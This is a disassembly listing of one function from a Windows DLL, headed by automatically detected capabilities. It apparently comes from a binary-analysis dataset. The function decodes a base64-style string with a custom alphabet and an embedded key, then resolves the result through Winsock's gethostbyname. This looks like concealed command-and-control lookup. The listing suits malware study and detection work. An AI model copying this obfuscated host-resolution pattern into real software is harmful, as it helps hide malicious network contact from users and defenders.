Function at 0x1001d7d0
Capabilities:
Get process heap flags
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10042bec
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x288
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
push 0x18
mov dword [ebp - 0x54], 0
call fcn.100240ca
mov esi, eax
mov dword [ebp - 0x30], esi
mov dword [ebp - 4], 0
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push 0x50
movq qword [esi + 0x10], xmm0
movups xmmword [esi], xmm0
mov dword [esi + 0x14], 0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
call fcn.100240ca
mov dword [esi], eax
add esp, 8
mov dword [esi + 0x10], 0x40
mov dword [esi + 0x14], 0x4f
movups xmm0, xmmword [str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov dword [ebp - 0xd4], esi
movups xmmword [eax], xmm0
movups xmm0, xmmword [0x1004d1b0]
movups xmmword [eax + 0x10], xmm0
movups xmm0, xmmword [0x1004d1c0]
movups xmmword [eax + 0x20], xmm0
movups xmm0, xmmword [0x1004d1d0]
movups xmmword [eax + 0x30], xmm0
mov byte [eax + 0x40], 0
mov dword [ebp - 4], 1
lea ecx, [ebp - 0xd0]
mov byte [ebp - 4], 2
lea edx, [ecx + 1]
movups xmm0, xmmword [str.OFIxTndCQ2RRRGhVdjlydHk0Rk16dUVpVkpZMkdBaVM]
mov eax, dword [0x1004d9f0]
mov dword [ebp - 0xa8], eax
mov al, byte [0x1004d9f4]
movups xmmword [ebp - 0xd0], xmm0
mov byte [ebp - 0xa4], al
movups xmm0, xmmword [0x1004d9d8]
mov dword [ebp - 0x90], 0
mov dword [ebp - 0x8c], 0
movups xmmword [ebp - 0xc0], xmm0
movq xmm0, qword [0x1004d9e8]
movq qword [ebp - 0xb0], xmm0
xorps xmm0, xmm0
movups xmmword [ebp - 0xa0], xmm0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1001d8f4
sub ecx, edx
lea eax, [ebp - 0xd0]
push ecx
push eax
lea ecx, [ebp - 0xa0]
call fcn.10003320
mov byte [ebp - 4], 4
xor edx, edx
mov eax, dword [ebp - 0x90]
xor esi, esi
xorps xmm0, xmm0
mov dword [ebp - 0x34], eax
xor edi, edi
mov dword [ebp - 0x50], edx
mov ecx, 0xf
mov dword [ebp - 0x18], edi
movups xmmword [ebp - 0x4c], xmm0
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x38], ecx
mov byte [ebp - 0x4c], dl
mov dword [ebp - 0x54], 1
mov dword [ebp - 0x20], esi
mov ecx, dword [ebp - 0x34]
mov eax, ecx
dec ecx
mov dword [ebp - 0x34], ecx
test eax, eax
je 0x1001dabd
cmp dword [ebp - 0x8c], 0xf
lea eax, [ebp - 0xa0]
cmova eax, dword [ebp - 0xa0]
seta cl
mov byte [ebp - 0x2a], cl
cmp byte [eax + edx], 0x3d
je 0x1001dabd
test cl, cl
lea eax, [ebp - 0xa0]
cmovne eax, dword [ebp - 0xa0]
mov al, byte [eax + edx]
mov byte [ebp - 0x29], al
movzx eax, al
push eax
call fcn.1002d250
add esp, 4
test eax, eax
jne 0x1001d9b1
mov al, byte [ebp - 0x29]
cmp al, 0x2b
je 0x1001d9b1
cmp al, 0x2f
jne 0x1001dabd
cmp byte [ebp - 0x2a], 0
lea eax, [ebp - 0xa0]
mov edx, dword [ebp - 0x50]
cmovne eax, dword [ebp - 0xa0]
mov al, byte [eax + edx]
inc edx
mov byte [ebp + esi - 0x28], al
inc esi
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x50], edx
cmp esi, 4
jne 0x1001d948
mov edx, dword [ebp - 0x30]
xor esi, esi
mov ecx, dword [edx + 0x10]
mov dword [ebp - 0x20], ecx
nop dword [eax + eax]
cmp dword [edx + 0x14], 0xf
mov edi, edx
mov al, byte [ebp + esi - 0x28]
jbe 0x1001d9fe
mov edi, dword [edx]
test ecx, ecx
je 0x1001da18
push ecx
movsx eax, al
push eax
push edi
call fcn.10025f60
add esp, 0xc
test eax, eax
je 0x1001da18
sub eax, edi
jmp 0x1001da1b
or eax, 0xffffffff
mov ecx, dword [ebp - 0x20]
mov edx, dword [ebp - 0x30]
mov byte [ebp + esi - 0x28], al
inc esi
cmp esi, 4
jl 0x1001d9f0
mov eax, dword [ebp - 0x28]
mov dl, ah
mov edi, dword [ebp - 0x18]
mov cl, al
shr dl, 4
mov al, ah
shl cl, 2
and dl, 3
add dl, cl
shl al, 4
mov byte [ebp - 0x24], dl
mov dl, byte [ebp - 0x26]
mov cl, dl
shl dl, 6
add dl, byte [ebp - 0x25]
shr cl, 2
and cl, 0xf
mov byte [ebp - 0x22], dl
add cl, al
xor esi, esi
mov byte [ebp - 0x23], cl
cmp esi, 3
jge 0x1001dab3
mov cl, byte [ebp + esi - 0x24]
mov edx, dword [ebp - 0x38]
mov byte [ebp - 0x1c], cl
cmp edi, edx
jae 0x1001da97
lea eax, [edi + 1]
cmp edx, 0xf
mov dword [ebp - 0x3c], eax
lea eax, [ebp - 0x4c]
cmova eax, dword [ebp - 0x4c]
inc esi
mov byte [eax + edi], cl
mov byte [eax + edi + 1], 0
mov edi, dword [ebp - 0x3c]
mov dword [ebp - 0x18], edi
jmp 0x1001da63
push dword [ebp - 0x1c]
mov byte [ebp - 0x14], 0
push dword [ebp - 0x14]
push ecx
lea ecx, [ebp - 0x4c]
call fcn.100111c0
mov edi, dword [ebp - 0x3c]
inc esi
mov dword [ebp - 0x18], edi
jmp 0x1001da63
mov edx, dword [ebp - 0x50]
xor esi, esi
jmp 0x1001d945
test esi, esi
je 0x1001dba5
xor eax, eax
mov dword [ebp - 0x34], eax
test esi, esi
jle 0x1001db2e
mov ecx, dword [ebp - 0x30]
mov edx, dword [ecx + 0x14]
mov dword [ebp - 0x14], edx
mov edx, dword [ecx + 0x10]
mov dword [ebp - 0x50], edx
jmp 0x1001dae3
mov ecx, dword [ebp - 0x30]
cmp dword [ebp - 0x14], 0xf
lea eax, [ebp + eax - 0x28]
mov dword [ebp - 0x1c], eax
mov al, byte [eax]
mov dword [ebp - 0x18], ecx
jbe 0x1001dafd
mov ecx, dword [ebp - 0x30]
mov ecx, dword [ecx]
mov dword [ebp - 0x18], ecx
test edx, edx
je 0x1001db18
push edx
movsx eax, al
push eax
push ecx
call fcn.10025f60
add esp, 0xc
test eax, eax
je 0x1001db18
sub eax, dword [ebp - 0x18]
jmp 0x1001db1b
or eax, 0xffffffff
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x50]
mov byte [ecx], al
mov eax, dword [ebp - 0x34]
inc eax
mov dword [ebp - 0x34], eax
cmp eax, esi
jl 0x1001dae0
mov eax, dword [ebp - 0x28]
mov dl, ah
shr dl, 4
mov cl, al
shl cl, 2
and dl, 3
add dl, cl
mov al, ah
mov cl, byte [ebp - 0x26]
shr cl, 2
and cl, 0xf
shl al, 4
add cl, al
mov byte [ebp - 0x24], dl
mov byte [ebp - 0x23], cl
xor esi, esi
mov eax, dword [ebp - 0x20]
dec eax
cmp esi, eax
jge 0x1001dba5
mov dl, byte [ebp + esi - 0x24]
mov ecx, dword [ebp - 0x38]
mov byte [ebp - 0x14], dl
cmp edi, ecx
jae 0x1001db8c
lea eax, [edi + 1]
cmp ecx, 0xf
mov dword [ebp - 0x3c], eax
lea eax, [ebp - 0x4c]
cmova eax, dword [ebp - 0x4c]
inc esi
mov byte [eax + edi], dl
mov byte [eax + edi + 1], 0
mov edi, dword [ebp - 0x3c]
jmp 0x1001db58
push dword [ebp - 0x14]
mov byte [ebp - 0x1c], 0
push dword [ebp - 0x1c]
push ecx
lea ecx, [ebp - 0x4c]
call fcn.100111c0
mov edi, dword [ebp - 0x3c]
inc esi
jmp 0x1001db58
mov ecx, dword [0x10055c04]
cmp ecx, 0xf
jbe 0x1001dbde
mov eax, dword [0x10055bf0]
inc ecx
cmp ecx, 0x1000
jb 0x1001dbd4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1001e44a
mov eax, edx
push ecx
push eax
call fcn.100240fa
add esp, 8
movups xmm0, xmmword [ebp - 0x4c]
mov eax, 1
and eax, 0xfffffffe
movups xmmword [0x10055bf0], xmm0
mov dword [ebp - 0x20], eax
movq xmm0, qword [ebp - 0x3c]
mov byte [ebp - 4], 2
mov eax, dword [ebp - 0x8c]
movq qword [0x10055c00], xmm0
cmp eax, 0xf
jbe 0x1001dc41
mov edx, dword [ebp - 0xa0]
lea ecx, [eax + 1]
mov eax, edx
cmp ecx, 0x1000
jb 0x1001dc37
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1001e44a
push ecx
push edx
call fcn.100240fa
add esp, 8
push 0x10055bf0
lea eax, [ebp - 0x7c]
push eax
call fcn.10021580
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x70]
push 0x10
mov dword [ebp - 0x44], 0x5fa50fe8
mov dword [ebp - 0x40], 0xeeedd5d
mov dword [ebp - 0x3c], 0x6af1ff85
mov dword [ebp - 0x38], 0xf16dfe45
mov dword [ebp - 0x70], 0
mov dword [ebp - 0x6c], 0
mov dword [ebp - 0x68], 0
call fcn.10002260
mov esi, dword [ebp - 0x70]
lea eax, [ebp - 0x44]
push 0x10
push eax
push esi
call fcn.10025860
add esi, 0x10
add esp, 0xc
mov dword [ebp - 0x6c], esi
mov byte [ebp - 4], 6
lea eax, [ebp - 0xbc]
mov ecx, dword [ebp - 0x30]
push 0x10055bd8
push eax
mov dword [ebp - 0x58], 8
mov dword [ebp - 0x54], 0xe
call fcn.10021290
push eax
lea eax, [ebp - 0x64]
mov byte [ebp - 4], 7
push eax
call fcn.10021580
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0xa8]
cmp ecx, 0xf
jbe 0x1001dd18
mov edx, dword [ebp - 0xbc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1001dd0e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1001e44a
push ecx
push edx
call fcn.100240fa
add esp, 8
sub esp, 0xc
mov dword [ebp - 0xac], 0
sub esi, dword [ebp - 0x70]
mov edi, esp
mov dword [ebp - 0xa8], 0xf
mov byte [ebp - 0xbc], 0
mov dword [ebp - 0x34], esp
mov dword [edi], 0
mov dword [edi + 4], 0
mov dword [edi + 8], 0
mov dword [ebp - 0x18], esi
je 0x1001dd78
push esi
mov ecx, edi
call fcn.10002260
push dword [ebp - 0x18]
mov esi, dword [edi]
push dword [ebp - 0x70]
push esi
call fcn.10025860
mov eax, dword [ebp - 0x18]
add esp, 0xc
add eax, esi
mov dword [edi + 4], eax
sub esp, 0xc
mov byte [ebp - 4], 0xa
mov esi, esp
mov dword [ebp - 0x18], esp
mov dword [ebp - 0x1c], esi
mov dword [esi], 0
mov dword [esi + 4], 0
mov dword [esi + 8], 0
mov eax, dword [ebp - 0x78]
sub eax, dword [ebp - 0x7c]
je 0x1001ddd0
push eax
mov ecx, esi
call fcn.10002260
mov ecx, dword [esi]
mov edi, dword [ebp - 0x78]
mov eax, edi
mov esi, dword [ebp - 0x7c]
sub eax, esi
push eax
push esi
push ecx
mov dword [ebp - 0x14], ecx
call fcn.10025860
mov eax, dword [ebp - 0x1c]
sub edi, esi
add esp, 0xc
add edi, dword [ebp - 0x14]
mov dword [eax + 4], edi
sub esp, 0xc
mov byte [ebp - 4], 0xb
mov esi, esp
mov dword [ebp - 0x1c], esi
mov dword [esi], 0
mov dword [esi + 4], 0
mov dword [esi + 8], 0
mov eax, dword [ebp - 0x60]
sub eax, dword [ebp - 0x64]
je 0x1001de25
push eax
mov ecx, esi
call fcn.10002260
mov ecx, dword [esi]
mov edi, dword [ebp - 0x60]
mov eax, edi
mov esi, dword [ebp - 0x64]
sub eax, esi
push eax
push esi
push ecx
mov dword [ebp - 0x14], ecx
call fcn.10025860
mov eax, dword [ebp - 0x1c]
sub edi, esi
add esp, 0xc
add edi, dword [ebp - 0x14]
mov dword [eax + 4], edi
lea eax, [ebp - 0x88]
mov byte [ebp - 4], 9
push eax
lea ecx, [ebp - 0x58]
call fcn.10001d90
mov al, byte [0x1004d734]
xorps xmm0, xmm0
movups xmmword [ebp - 0x104], xmm0
mov dword [ebp - 0xf4], 1
mov dword [ebp - 0xf0], 0xf
mov byte [ebp - 0x104], al
mov byte [ebp - 0x103], 0
mov byte [ebp - 4], 0xe
lea esi, [ebp - 0xec]
mov eax, dword [ebp - 0x20]
mov edi, dword [ebp - 0x88]
or eax, 2
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x84]
movups xmmword [ebp - 0xec], xmm0
mov dword [ebp - 0xdc], 0
mov dword [ebp - 0xd8], 0xf
mov byte [ebp - 0xec], 0
mov dword [ebp - 0x1c], eax
nop
cmp edi, eax
je 0x1001defb
mov al, byte [edi]
mov ecx, dword [esi + 0x10]
mov edx, dword [esi + 0x14]
mov byte [ebp - 0x18], al
cmp ecx, edx
jae 0x1001dee3
lea eax, [ecx + 1]
mov dword [esi + 0x10], eax
mov eax, esi
cmp edx, 0xf
jbe 0x1001ded2
mov eax, dword [esi]
add eax, ecx
mov cl, byte [ebp - 0x18]
inc edi
mov byte [eax + 1], 0
mov byte [eax], cl
mov eax, dword [ebp - 0x1c]
jmp 0x1001deb0
push dword [ebp - 0x18]
mov byte [ebp - 0x14], 0
push dword [ebp - 0x14]
push ecx
mov ecx, esi
call fcn.100111c0
mov eax, dword [ebp - 0x1c]
inc edi
jmp 0x1001deb0
lea eax, [ebp - 0x104]
push eax
lea eax, [ebp - 0xec]
push eax
lea eax, [ebp - 0x40]
push eax
call fcn.100216f0
mov edi, dword [eax]
xorps xmm0, xmm0
movups xmmword [ebp - 0xbc], xmm0
mov dword [ebp - 0xac], 0
mov dword [ebp - 0xa8], 0xf
mov byte [ebp - 0xbc], 0
mov byte [ebp - 4], 0x10
mov eax, dword [ebp - 0x20]
or eax, 4
mov dword [ebp - 0x54], eax
lea eax, [ebp - 0x294]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x1001df7e
xor esi, esi
cmp dword [edi + 0x14], 0xf
jbe 0x1001df66
mov edi, dword [edi]
push edi
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov dword [ebp - 0x14], eax
test eax, eax
jne 0x1001e080
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov dword [ebp - 4], 0xf
mov ecx, dword [0x10055c4c]
cmp ecx, 0xf
jbe 0x1001dfc4
mov eax, dword [0x10055c38]
inc ecx
cmp ecx, 0x1000
jb 0x1001dfba
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1001e44f
mov eax, edx
push ecx
push eax
call fcn.100240fa
add esp, 8
movups xmm0, xmmword [ebp - 0xbc]
lea ecx, [ebp - 0x40]
movups xmmword [0x10055c38], xmm0
movq xmm0, qword [ebp - 0xac]
movq qword [0x10055c48], xmm0
call fcn.10008bd0
mov byte [ebp - 4], 0xd
mov ecx, dword [ebp - 0xd8]
cmp ecx, 0xf
jbe 0x1001e028
mov edx, dword [ebp - 0xec]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1001e01e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1001e44f
push ecx
push edx
call fcn.100240fa
add esp, 8
mov byte [ebp - 4], 0xc
mov ecx, dword [ebp - 0xf0]
mov dword [ebp - 0xdc], 0
mov dword [ebp - 0xd8], 0xf
mov byte [ebp - 0xec], 0
cmp ecx, 0xf
jbe 0x1001e0c5
mov edx, dword [ebp - 0x104]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1001e0bb
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1001e44f
jmp 0x1001e0bb
mov eax, dword [eax + 0xc]
mov eax, dword [eax + esi*4]
test eax, eax
je 0x1001df7e
push dword [eax]
inc esi
call dword [sym.imp.WS2_32.dll_inet_ntoa]
mov edx, eax
lea edi, [edx + 1]
nop dword [eax]
mov cl, byte [edx]
inc edx
test cl, cl
jne 0x1001e0a0
sub edx, edi
lea ecx, [ebp - 0xbc]
push edx
push eax
call fcn.10008c50
mov eax, dword [ebp - 0x14]
jmp 0x1001e080
push ecx
push edx
call fcn.100240fa
add esp, 8
lea ecx, [ebp - 0xbc]
call fcn.10011e20
mov esi, eax
cmp esi, 0x10055c08
je 0x1001e156
mov ecx, dword [0x10055c1c]
cmp ecx, 0xf
jbe 0x1001e113
mov eax, dword [0x10055c08]
inc ecx
cmp ecx, 0x1000
jb 0x1001e109
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1001e454
mov eax, edx
push ecx
push eax
call fcn.100240fa
add esp, 8
mov dword [0x10055c18], 0
mov dword [0x10055c1c], 0xf
mov byte [0x10055c08], 0
movups xmm0, xmmword [esi]
movups xmmword [0x10055c08], xmm0
movq xmm0, qword [esi + 0x10]
movq qword [0x10055c18], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
mov ecx, dword [ebp - 0xa8]
cmp ecx, 0xf
jbe 0x1001e190
mov edx, dword [ebp - 0xbc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1001e186
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1001e454
push ecx
push edx
call fcn.100240fa
add esp, 8
lea ecx, [ebp - 0xbc]
call fcn.100118c0
mov esi, eax
cmp esi, 0x10055c50
je 0x1001e221
mov ecx, dword [0x10055c64]
cmp ecx, 0xf
jbe 0x1001e1de
mov eax, dword [0x10055c50]
inc ecx
cmp ecx, 0x1000
jb 0x1001e1d4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1001e459
mov eax, edx
push ecx
push eax
call fcn.100240fa
add esp, 8
mov dword [0x10055c60], 0
mov dword [0x10055c64], 0xf
mov byte [0x10055c50], 0
movups xmm0, xmmword [esi]
movups xmmword [0x10055c50], xmm0
movq xmm0, qword [esi + 0x10]
movq qword [0x10055c60], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
mov ecx, dword [ebp - 0xa8]
cmp ecx, 0xf
jbe 0x1001e25b
mov edx, dword [ebp - 0xbc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1001e251
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1001e459
push ecx
push edx
call fcn.100240fa
add esp, 8
mov ecx, dword [ebp - 0x88]
test ecx, ecx
je 0x1001e2ad
mov edx, dword [ebp - 0x80]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x1001e288
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1001e44a
push edx
push ecx
call fcn.100240fa
add esp, 8
mov dword [ebp - 0x88], 0
mov dword [ebp - 0x84], 0
mov dword [ebp - 0x80], 0
mov ecx, dword [ebp - 0x64]
test ecx, ecx
je 0x1001e2f6
mov edx, dword [ebp - 0x5c]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x1001e2d7
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1001e44a
push edx
push ecx
call fcn.100240fa
add esp, 8
mov dword [ebp - 0x64], 0
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x5c], 0
mov edx, dword [ebp - 0x70]
test edx, edx
je 0x1001e32a
mov ecx, dword [ebp - 0x68]
mov eax, edx
sub ecx, edx
cmp ecx, 0x1000
jb 0x1001e320
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1001e44a
push ecx
push edx
call fcn.100240fa
add esp, 8
mov ecx, dword [ebp - 0x7c]
test ecx, ecx
je 0x1001e373
mov edx, dword [ebp - 0x74]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x1001e354
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1001e44a
push edx
push ecx
call fcn.100240fa
add esp, 8
mov dword [ebp - 0x7c], 0
mov dword [ebp - 0x78], 0
mov dword [ebp - 0x74], 0
mov esi, dword [ebp - 0x30]
test esi, esi
je 0x1001e3c9
mov ecx, dword [esi + 0x14]
cmp ecx, 0xf
jbe 0x1001e3ad
mov eax, dword [esi]
inc ecx
cmp ecx, 0x1000
jb 0x1001e3a3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1001e44a
mov eax, edx
push ecx
push eax
call fcn.100240fa
add esp, 8
push 0x18
push esi
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
call fcn.100240fa
add esp, 8
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.1002ade6
call fcn.1002ade6
call fcn.1002ade6
call fcn.1002ade6
int3